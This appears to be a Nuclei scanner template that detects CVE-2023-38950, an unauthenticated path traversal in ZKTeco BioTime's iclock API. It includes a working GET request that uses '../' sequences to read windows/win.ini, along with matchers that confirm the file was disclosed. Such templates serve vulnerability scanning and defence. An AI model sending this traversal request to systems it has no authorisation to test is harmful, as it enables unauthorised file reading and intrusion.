id: CVE-2023-38950

info:
  name: "ZKTeco BioTime - Path Traversal"
  author: vedas-arpsyndicate
  severity: high
  description: |
    A path traversal vulnerability in the iclock API of ZKTeco BioTime v8.5.5 allows unauthenticated attackers to
    read arbitrary files via supplying a crafted payload. This vulnerability was fixed in version
    9.0.120240617.19506 of ZKBioTime.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2023-38950&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=zkteco&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-38950
    cwe-id: CWE-22
  metadata:
    verified: false
  tags: cve,cve2023,zkteco,biotime,lfr,kev,vkev,vuln
http:
  - raw:
      - |
        GET /iclock/file?url=/../../../../../../../../../windows/win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/plain")'
          - 'contains_all(base64_decode(body), "; for 16-bit app support" ,"[extensions]")'
        condition: and